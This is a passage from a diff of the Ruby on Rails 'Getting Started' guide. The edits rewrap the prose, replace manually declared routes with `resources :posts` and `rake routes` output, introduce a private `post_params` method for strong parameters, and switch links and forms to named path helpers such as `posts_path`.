Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme). +TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the +absence of a runtime will give you an `execjs` error. Usually Mac OS X and +Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` +gem to Gemfile in a commented line for new apps and you can uncomment if you +need it. `therubyrhino` is the recommended runtime for JRuby users and is added +by default to Gemfile in apps generated under JRuby. You can investigate about +all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme). -This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page: +This will fire up WEBrick, a webserver built into Ruby by default. To see your +application in action, open a browser window and navigate to <http://localhost:3000>. +You should see the Rails default information page: -![Welcome Aboard screenshot](images/rails_welcome.png) +![Welcome Aboard screenshot](images/getting_started/rails_welcome.png) -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server. +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. To verify the server has stopped you should see your command prompt +cursor again. For most UNIX-like systems including Mac OS X this will be a +dollar sign `$`. In development mode, Rails does not generally require you to +restart the server; changes you make in files will be automatically picked up by +the server. -The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment. +The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. You can also click on the _About your application's environment_ link to +see a summary of your application's environment. ### Say "Hello", Rails -To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_. +To get Rails saying "Hello", you need to create at minimum a _controller_ and a +_view_. -A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view. +A controller's purpose is to receive specific requests for the application. +_Routing_ decides which controller receives which requests. Often, there is more +than one route to each controller, and different routes can be served by +different _actions_. Each action's purpose is to collect information to provide +it to a view. -A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user. +A view's purpose is to display this information in a human readable format. An +important distinction to make is that it is the _controller_, not the view, +where information is collected. The view should just display that information. +By default, view templates are written in a language called ERB (Embedded Ruby) +which is converted by the request cycle in Rails before being sent to the user. -To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this: +To create a new controller, you will need to run the "controller" generator and +tell it you want a controller called "welcome" with an action called "index", +just like this: ```bash $ rails generate controller welcome index @@ -206,9 +248,12 @@ invoke scss create app/assets/stylesheets/welcome.css.scss ``` -Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`. +Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` +and the view, located at `app/views/welcome/index.html.erb`. -Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code: +Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all +of the existing code in the file, and replace it with the following single line +of code: ```html <h1>Hello, Rails!</h1> @@ -216,7 +261,10 @@ Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all ### Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot. +Now that we have made the controller and view, we need to tell Rails when we +want `Hello, Rails!` to show up. In our case, we want it to show up when we +navigate to the root URL of our site, <http://localhost:3000>. At the moment, +"Welcome Aboard" is occupying that spot. Next, you have to tell Rails where your actual home page is located. @@ -230,111 +278,195 @@ Blog::Application.routes.draw do # first created -> highest priority. # ... # You can have the root of your site routed with "root" - # root to: "welcome#index" + # root "welcome#index" ``` -This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following: +This is your application's _routing file_ which holds entries in a special DSL +(domain-specific language) that tells Rails how to connect incoming requests to +controllers and actions. This file contains many sample routes on commented +lines, and one of them actually shows you how to connect the root of your site +to a specific controller and action. Find the line beginning with `root` and +uncomment it. It should look something like the following: ```ruby -root to: "welcome#index" +root "welcome#index" ``` -The `root to: "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`). +The `root "welcome#index"` tells Rails to map requests to the root of the +application to the welcome controller's index action and `get "welcome/index"` +tells Rails to map requests to <http://localhost:3000/welcome/index> to the +welcome controller's index action. This was created earlier when you ran the +controller generator (`rails generate controller welcome index`). -If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly. +If you navigate to <http://localhost:3000> in your browser, you'll see the +`Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, +indicating that this new route is indeed going to `WelcomeController`'s `index` +action and is rendering the view correctly. TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html). Getting Up and Running ---------------------- -Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance. +Now that you've seen how to create a controller, an action and a view, let's +create something with a bit more substance. -In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations. +In the Blog application, you will now create a new _resource_. A resource is the +term used for a collection of similar objects, such as posts, people or animals. +You can create, read, update and destroy items for a resource and these +operations are referred to as _CRUD_ operations. -In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this: +Rails provides a `resources` method which can be used to declare a standard REST +resource. Here's what `config/routes.rb` should look like after the _post resource_ +is declared. -![The new post form](images/getting_started/new_post.png) +```ruby +Blog::Application.routes.draw do -It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards. + resources :posts -### Laying down the ground work + root "welcome#index" +end +``` -The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now — by visiting <http://localhost:3000/posts/new> — Rails will give you a routing error: +If you run `rake routes`, you'll see that it has defined routes for all the +standard RESTful actions. The meaning of the prefix column (and other columns) +will be seen later, but for now notice that Rails has inferred the +singular form `post` and makes meaningful use of the distinction. -![A routing error, no route matches /posts/new](images/getting_started/routing_error_no_route_matches.png) +```bash +$ rake routes + Prefix Verb URI Pattern Controller#Action + posts GET /posts(.:format) posts#index + POST /posts(.:format) posts#create + new_post GET /posts/new(.:format) posts#new +edit_post GET /posts/:id/edit(.:format) posts#edit + post GET /posts/:id(.:format) posts#show + PATCH /posts/:id(.:format) posts#update + PUT /posts/:id(.:format) posts#update + DELETE /posts/:id(.:format) posts#destroy + root / welcome#index +``` -This is because there is nowhere inside the routes for the application — defined inside `config/routes.rb` — that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them. +In the next section, you will add the ability to create new posts in your +application and be able to view them. This is the "C" and the "R" from CRUD: +creation and reading. The form for doing this will look like this: - To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method: +![The new post form](images/getting_started/new_post.png) -```ruby -get "posts/new" -``` +It will look a little basic for now, but that's ok. We'll look at improving the +styling for it afterwards. -This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller. +### Laying down the ground work -With the route defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see another routing error: +The first thing that you are going to need to create a new post within the +application is a place to do that. A great place for that would be at `/posts/new`. +With the route already defined, requests can now be made to `/posts/new` in the +application. Navigate to <http://localhost:3000/posts/new> and you'll see a +routing error: ![Another routing error, uninitialized constant PostsController](images/getting_started/routing_error_no_controller.png) -This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called `PostsController`. You can do this by running this command: +This error occurs because the route needs to have a controller defined in order +to serve the request. The solution to this particular problem is simple: create +a controller called `PostsController`. You can do this by running this command: ```bash $ rails g controller posts ``` -If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller: +If you open up the newly generated `app/controllers/posts_controller.rb` you'll +see a fairly empty controller: ```ruby class PostsController < ApplicationController end ``` -A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system. +A controller is simply a class that is defined to inherit from `ApplicationController`. +It's inside this class that you'll define methods that will become the actions +for this controller. These actions will perform CRUD operations on the posts +within our system. + +NOTE: There are `public`, `private` and `protected` methods in `Ruby` +(for more details you can check on [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)). +But only `public` methods can be actions for controllers. If you refresh <http://localhost:3000/posts/new> now, you'll get a new error: ![Unknown action new for PostsController!](images/getting_started/unknown_action_new_for_posts.png) -This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process. +This error indicates that Rails cannot find the `new` action inside the `PostsController` +that you just generated. This is because when controllers are generated in Rails +they are empty by default, unless you tell it your wanted actions during the +generation process. -To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this: +To manually define an action inside a controller, all you need to do is to +define a new method inside the controller. Open `app/controllers/posts_controller.rb` +and inside the `PostsController` class, define a `new` method like this: ```ruby def new end ``` -With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error: +With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> +you'll see another error: ![Template is missing for posts/new](images/getting_started/template_is_missing_posts_new.png) -You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out. +You're getting this error now because Rails expects plain actions like this one +to have views associated with them to display their information. With no view +available, Rails errors out. -In the above image, the bottom line has been truncated. Let's see what the full thing looks like: +In the above image, the bottom line has been truncated. Let's see what the full +thing looks like: <blockquote> Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views" </blockquote> -That's quite a lot of text! Let's quickly go through and understand what each part of it does. - -The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`. - -The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates. - -The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths. - -The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application. - -Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it: +That's quite a lot of text! Let's quickly go through and understand what each +part of it does. + +The first part identifies what template is missing. In this case, it's the +`posts/new` template. Rails will first look for this template. If not found, +then it will attempt to load a template called `application/new`. It looks for +one here because the `PostsController` inherits from `ApplicationController`. + +The next part of the message contains a hash. The `:locale` key in this hash +simply indicates what spoken language template should be retrieved. By default, +this is the English - or "en" - template. The next key, `:formats` specifies the +format of template to be served in response. The default format is `:html`, and +so Rails is looking for an HTML template. The final key, `:handlers`, is telling +us what _template handlers_ could be used to render our template. `:erb` is most +commonly used for HTML templates, `:builder` is used for XML templates, and +`:coffee` uses CoffeeScript to build JavaScript templates. + +The final part of this message tells us where Rails has looked for the templates. +Templates within a basic Rails application like this are kept in a single +location, but in more complex applications it could be many different paths. + +The simplest template that would work in this case would be one located at +`app/views/posts/new.html.erb`. The extension of this file name is key: the +first extension is the _format_ of the template, and the second extension is the +_handler_ that will be used. Rails is attempting to find a template called +`posts/new` within `app/views` for the application. The format for this template +can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. +Because you want to create a new HTML form, you will be using the `ERB` +language. Therefore the file should be called `posts/new.html.erb` and needs to +be located inside the `app/views` directory of the application. + +Go ahead now and create a new file at `app/views/posts/new.html.erb` and write +this content in it: ```html <h1>New Post</h1> ``` -When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post. +When you refresh <http://localhost:3000/posts/new> you'll now see that the page +has a title. The route, controller, action and view are now working +harmoniously! It's time to create the form for a new post. ### The first form @@ -360,14 +492,21 @@ method called `form_for`. To use this method, add this code into `app/views/post <% end %> ``` -If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy! +If you refresh the page now, you'll see the exact same form as in the example. +Building forms in Rails is really just that easy! When you call `form_for`, you pass it an identifying object for this form. In this case, it's the symbol `:post`. This tells the `form_for` helper what this form is for. Inside the block for this method, the -`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form. +`FormBuilder` object - represented by `f` - is used to build two labels and two +text fields, one each for the title and text of a post. Finally, a call to +`submit` on the `f` object will create a submit button for the form. -There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post. +There's one problem with this form though. If you inspect the HTML that is +generated, by viewing the source of the page, you will see that the `action` +attribute for the form is pointing at `/posts/new`. This is a problem because +this route goes to the very page that you're on right at the moment, and that +route should only be used to display the form for a new post. The form needs to use a different URL in order to go somewhere else. This can be done quite simply with the `:url` option of `form_for`. @@ -377,26 +516,48 @@ like this is called "create", and so the form should be pointed to that action. Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this: ```html+erb -<%= form_for :post, url: { action: :create } do |f| %> +<%= form_for :post, url: posts_path do |f| %> ``` -In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new": +In this example, the `posts_path` helper is passed to the `:url` option. +To see what Rails will do with this, we look back at the output of +`rake routes`: -```ruby -post "posts" => "posts#create" +```bash +$ rake routes + Prefix Verb URI Pattern Controller#Action + posts GET /posts(.:format) posts#index + POST /posts(.:format) posts#create + new_post GET /posts/new(.:format) posts#new +edit_post GET /posts/:id/edit(.:format) posts#edit + post GET /posts/:id(.:format) posts#show + PATCH /posts/:id(.:format) posts#update + PUT /posts/:id(.:format) posts#update + DELETE /posts/:id(.:format) posts#destroy + root / welcome#index ``` -By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web. +The `posts_path` helper tells Rails to point the form +to the URI Pattern associated with the `posts` prefix; and +the form will (by default) send a `POST` request +to that route. This is associated with the +`create` action of the current controller, the `PostsController`. -With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error: +With the form and its associated route defined, you will be able to fill in the +form and then click the submit button to begin the process of creating a new +post, so go ahead and do that. When you submit the form, you should see a +familiar error: ![Unknown action create for PostsController](images/getting_started/unknown_action_create_for_posts.png) -You now need to create the `create` action within the `PostsController` for this to work. +You now need to create the `create` action within the `PostsController` for this +to work. ### Creating posts -To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action: +To make the "Unknown action" go away, you can define a `create` action within +the `PostsController` class in `app/controllers/posts_controller.rb`, underneath +the `new` action: ```ruby class PostsController < ApplicationController @@ -408,9 +569,14 @@ class PostsController < ApplicationController end ``` -If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database. +If you re-submit the form now, you'll see another familiar error: a template is +missing. That's ok, we can ignore that for now. What the `create` action should +be doing is saving our new post to a database. -When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this: +When a form is submitted, the fields of the form are sent to Rails as +_parameters_. These parameters can then be referenced inside the controller +actions, typically to perform a particular task. To see what these parameters +look like, change the `create` action to this: ```ruby def create @@ -418,15 +584,23 @@ def create end ``` -The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns an `ActiveSupport::HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form. +The `render` method here is taking a very simple hash with a key of `text` and +value of `params[:post].inspect`. The `params` method is the object which +represents the parameters (or fields) coming in from the form. The `params` +method returns an `ActiveSupport::HashWithIndifferentAccess` object, which +allows you to access the keys of the hash using either strings or symbols. In +this situation, the only parameters that matter are the ones from the form. -If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following: +If you re-submit the form one more time you'll now no longer get the missing +template error. Instead, you'll see something that looks like the following: ```ruby {"title"=>"First post!", "text"=>"This is my first post."} ``` -This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them. +This action is now displaying the parameters for the post that are coming in +from the form. However, this isn't really all that helpful. Yes, you can see the +parameters but nothing in particular is being done with them. ### Creating the Post model @@ -515,7 +689,7 @@ invoking the command: `rake db:migrate RAILS_ENV=production`. ### Saving data in the controller -Back in `posts_controller`, we need to change the `create` action +Back in `PostsController`, we need to change the `create` action to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb` and change the `create` action to look like this: @@ -524,35 +698,71 @@ def create @post = Post.new(params[:post]) @post.save - redirect_to action: :show, id: @post.id + redirect_to @post end ``` Here's what's going on: every Rails model can be initialized with its respective attributes, which are automatically mapped to the respective -database columns. In the first line we do just that (remember that -`params[:post]` contains the attributes we're interested in). Then, -`@post.save` is responsible for saving the model in the database. -Finally, we redirect the user to the `show` action, -which we'll define later. +database columns. In the first line we do just that +(remember that `params[:post]` contains the attributes we're interested in). +Then, `@post.save` is responsible for saving the model in the database. +Finally, we redirect the user to the `show` action, which we'll define later. TIP: As we'll see later, `@post.save` returns a boolean indicating whether the model was saved or not. +If you now go to +<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try +it! You should get an error that looks like this: + +![Forbidden attributes for new post](images/getting_started/forbidden_attributes_for_new_post.png) + +Rails has several security features that help you write secure applications, +and you're running into one of them now. This one is called +`strong_parameters`, which requires us to tell Rails exactly which parameters +we want to accept in our controllers. In this case, we want to allow the +`title` and `text` parameters, so change your `create` controller action to +look like this: + +```ruby +def create + @post = Post.new(post_params) + + @post.save + redirect_to @post +end + +private + def post_params + params.require(:post).permit(:title, :text) + end +``` + +See the `permit`? It allows us to accept both `title` and `text` in this +action. + +TIP: Note that `def post_params` is private. This new approach prevents an +attacker from setting the model's attributes by manipulating the hash passed to +the model. +For more information, refer to +[this blog post about Strong Parameters](http://weblog.rubyonrails.org/2012/3/21/strong-parameters/). + ### Showing Posts If you submit the form again now, Rails will complain about not finding the `show` action. That's not very useful though, so let's add the -`show` action before proceeding. Open `config/routes.rb` and add the following route: +`show` action before proceeding. -```ruby -get "posts/:id" => "posts#show" +As we have seen in the output of `rake routes`, the route for `show` action is +as follows: + +``` +post GET /posts/:id(.:format) posts#show ``` The special syntax `:id` tells rails that this route expects an `:id` -parameter, which in our case will be the id of the post. Note that this -time we had to specify the actual mapping, `posts#show` because -otherwise Rails would not know which action to render. +parameter, which in our case will be the id of the post. As we did before, we need to add the `show` action in `app/controllers/posts_controller.rb` and its respective view. @@ -564,8 +774,9 @@ end ``` A couple of things to note. We use `Post.find` to find the post we're -interested in. We also use an instance variable (prefixed by `@`) to -hold a reference to the post object. We do this because Rails will pass all instance +interested in, passing in `params[:id]` to get the `:id` parameter from the +request. We also use an instance variable (prefixed by `@`) to hold a +reference to the post object. We do this because Rails will pass all instance variables to the view. Now, create a new file `app/views/posts/show.html.erb` with the following @@ -583,44 +794,21 @@ content: </p> ``` -If you now go to -<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try -it! You should get an error that looks like this: - -![Forbidden attributes for new post](images/getting_started/forbidden_attributes_for_new_post.png) - -Rails has several security features that help you write secure applications, -and you're running into one of them now. This one is called -'strong_parameters,' which requires us to tell Rails exactly which parameters -we want to accept in our controllers. In this case, we want to allow the -'title' and 'text' parameters, so change your `create` controller action to -look like this: - -``` - def create - @post = Post.new(params[:post].permit(:title, :text)) - - @post.save - redirect_to action: :show, id: @post.id - end -``` - -See the `permit`? It allows us to accept both `title` and `text` in this -action. With this change, you should finally be able to create new `Post`s. +With this change, you should finally be able to create new posts. Visit <http://localhost:3000/posts/new> and give it a try! ![Show action for posts](images/getting_started/show_action_for_posts.png) ### Listing all posts -We still need a way to list all our posts, so let's do that. As usual, -we'll need a route placed into `config/routes.rb`: +We still need a way to list all our posts, so let's do that. +The route for this as per output of `rake routes` is: -```ruby -get "posts" => "posts#index" +``` +posts GET /posts(.:format) posts#index ``` -And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file: +Add the corresponding `index` action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file: ```ruby def index @@ -628,7 +816,7 @@ def index end ``` -And then finally a view for this action, located at `app/views/posts/index.html.erb`: +And then finally, add view for this action, located at `app/views/posts/index.html.erb`: ```html+erb <h1>Listing posts</h1> @@ -648,7 +836,8 @@ And then finally a view for this action, located at `app/views/posts/index.html. </table> ``` -Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created. +Now if you go to `http://localhost:3000/posts` you will see a list of all the +posts that you have created. ### Adding links @@ -659,30 +848,36 @@ Open `app/views/welcome/index.html.erb` and modify it as follows: ```html+erb <h1>Hello, Rails!</h1> -<%= link_to "My Blog", controller: "posts" %> +<%= link_to 'My Blog', controller: 'posts' %> ``` The `link_to` method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. -Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag: +Let's add links to the other views as well, starting with adding this "New Post" +link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag: ```erb -<%= link_to 'New post', action: :new %> +<%= link_to 'New post', new_post_path %> ``` -This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template: +This link will allow you to bring up the form that lets you create a new post. +You should also add a link to this template - `app/views/posts/new.html.erb` - +to go back to the `index` action. Do this by adding this underneath the form in +this template: ```erb <%= form_for :post do |f| %> ... <% end %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', posts_path %> ``` -Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again: +Finally, add another link to the `app/views/posts/show.html.erb` template to go +back to the `index` action as well, so that people who are viewing a single post +can go back and view the whole list again: ```html+erb <p> @@ -695,7 +890,7 @@ Finally, add another link to the `app/views/posts/show.html.erb` template to go <%= @post.text %> </p> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', posts_path %> ``` TIP: If you want to link to an action in the same controller, you don't @@ -706,7 +901,7 @@ TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server when a change is made. -### Allowing the update of fields +### Adding Some Validation The model file, `app/models/post.rb` is about as simple as it can get: @@ -721,8 +916,6 @@ your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. -### Adding Some Validation - Rails includes methods to help you validate the data that you send to models. Open the `app/models/post.rb` file and edit it: @@ -734,7 +927,7 @@ end ``` These changes will ensure that all posts have a title that is at least five -characters long. Rails can validate a variety of conditions in a model, +characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. Validations are covered in detail in [Active Record Validations](active_record_validations.html) @@ -752,21 +945,29 @@ def new end def create - @post = Post.new(params[:post].permit(:title, :text)) + @post = Post.new(post_params) if @post.save - redirect_to action: :show, id: @post.id + redirect_to @post else render 'new' end end + +private + def post_params + params.require(:post).permit(:title, :text) + end ``` The `new` action is now creating a new instance variable called `@post`, and you'll see why that is in just a few moments. -Notice that inside the `create` action we use `render` instead of `redirect_to` when `save` -returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request. +Notice that inside the `create` action we use `render` instead of `redirect_to` +when `save` returns `false`. The `render` method is used so that the `@post` +object is passed back to the `new` template when it is rendered. This rendering +is done within the same request as the form submission, whereas the `redirect_to` +will tell the browser to issue another request. If you reload <http://localhost:3000/posts/new> and @@ -776,9 +977,9 @@ something went wrong. To do that, you'll modify `app/views/posts/new.html.erb` to check for error messages: ```html+erb -<%= form_for :post, url: { action: :create } do |f| %> +<%= form_for :post, url: posts_path do |f| %> <% if @post.errors.any? %> - <div id="errorExplanation"> + <div id="error_explanation"> <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> <ul> @@ -803,7 +1004,7 @@ something went wrong. To do that, you'll modify </p> <% end %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', posts_path %> ``` A few things are going on. We check if there are any errors with @@ -811,9 +1012,10 @@ A few things are going on. We check if there are any errors with errors with `@post.errors.full_messages`. `pluralize` is a rails helper that takes a number and a string as its -arguments. If the number is greater than one, the string will be automatically pluralized. +arguments. If the number is greater than one, the string will be automatically +pluralized. -The reason why we added `@post = Post.new` in `posts_controller` is that +The reason why we added `@post = Post.new` in the `PostsController` is that otherwise `@post` would be `nil` in our view, and calling `@post.errors.any?` would throw an error. @@ -828,17 +1030,10 @@ attempt to do just that on the new post form [(http://localhost:3000/posts/new)] ### Updating Posts -We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts. - -The first step we'll take is adding an `edit` action to `posts_controller`. - -Start by adding a route to `config/routes.rb`: - -```ruby -get "posts/:id/edit" => "posts#edit" -``` +We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating +posts. -And then add the controller action: +The first step we'll take is adding an `edit` action to the `PostsController`. ```ruby def edit @@ -853,10 +1048,9 @@ it look as follows: ```html+erb <h1>Editing post</h1> -<%= form_for :post, url: { action: :update, id: @post.id }, -method: :patch do |f| %> +<%= form_for :post, url: post_path(@post), method: :patch do |f| %> <% if @post.errors.any? %> - <div id="errorExplanation"> + <div id="error_explanation"> <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> <ul> @@ -881,7 +1075,7 @@ method: :patch do |f| %> </p> <% end %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', posts_path %> ``` This time we point the form to the `update` action, which is not defined yet @@ -893,25 +1087,23 @@ via the `PATCH` HTTP method which is the HTTP method you're expected to use to TIP: By default forms built with the _form_for_ helper are sent via `POST`. -Next, we need to add the `update` action. The file -`config/routes.rb` will need just one more line: - -```ruby -patch "posts/:id" => "posts#update" -``` - -And then create the `update` action in `app/controllers/posts_controller.rb`: +Next we need to create the `update` action in `app/controllers/posts_controller.rb`: ```ruby def update @post = Post.find(params[:id]) - if @post.update(params[:post].permit(:title, :text)) - redirect_to action: :show, id: @post.id + if @post.update(post_params) + redirect_to @post else render 'edit' end end + +private + def post_params + params.require(:post).permit(:title, :text) + end ``` The new method, `update`, is used when you want to update a record @@ -919,6 +1111,8 @@ that already exists, and it accepts a hash containing the attributes that you want to update. As before, if there was an error updating the post we want to show the form back to the user. +We reuse the `post_params` method that we defined earlier for the create action. + TIP: You don't need to pass all attributes to `update`. For example, if you'd call `@post.update(title: 'A new title')` Rails would only update the `title` attribute, leaving all other @@ -933,16 +1127,15 @@ appear next to the "Show" link: <tr> <th>Title</th> <th>Text</th> - <th></th> - <th></th> + <th colspan="2"></th> </tr> <% @posts.each do |post| %> <tr> <td><%= post.title %></td> <td><%= post.text %></td> - <td><%= link_to 'Show', action: :show, id: post.id %></td> - <td><%= link_to 'Edit', action: :edit, id: post.id %></td> + <td><%= link_to 'Show', post_path(post) %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> </tr> <% end %> </table> @@ -955,8 +1148,8 @@ the template: ```html+erb ... -<%= link_to 'Back', action: :index %> -| <%= link_to 'Edit', action: :edit, id: @post.id %> +<%= link_to 'Back', posts_path %> +| <%= link_to 'Edit', edit_post_path(@post) %> ``` And here's how our app looks so far: @@ -979,7 +1172,7 @@ content: ```html+erb <%= form_for @post do |f| %> <% if @post.errors.any? %> - <div id="errorExplanation"> + <div id="error_explanation"> 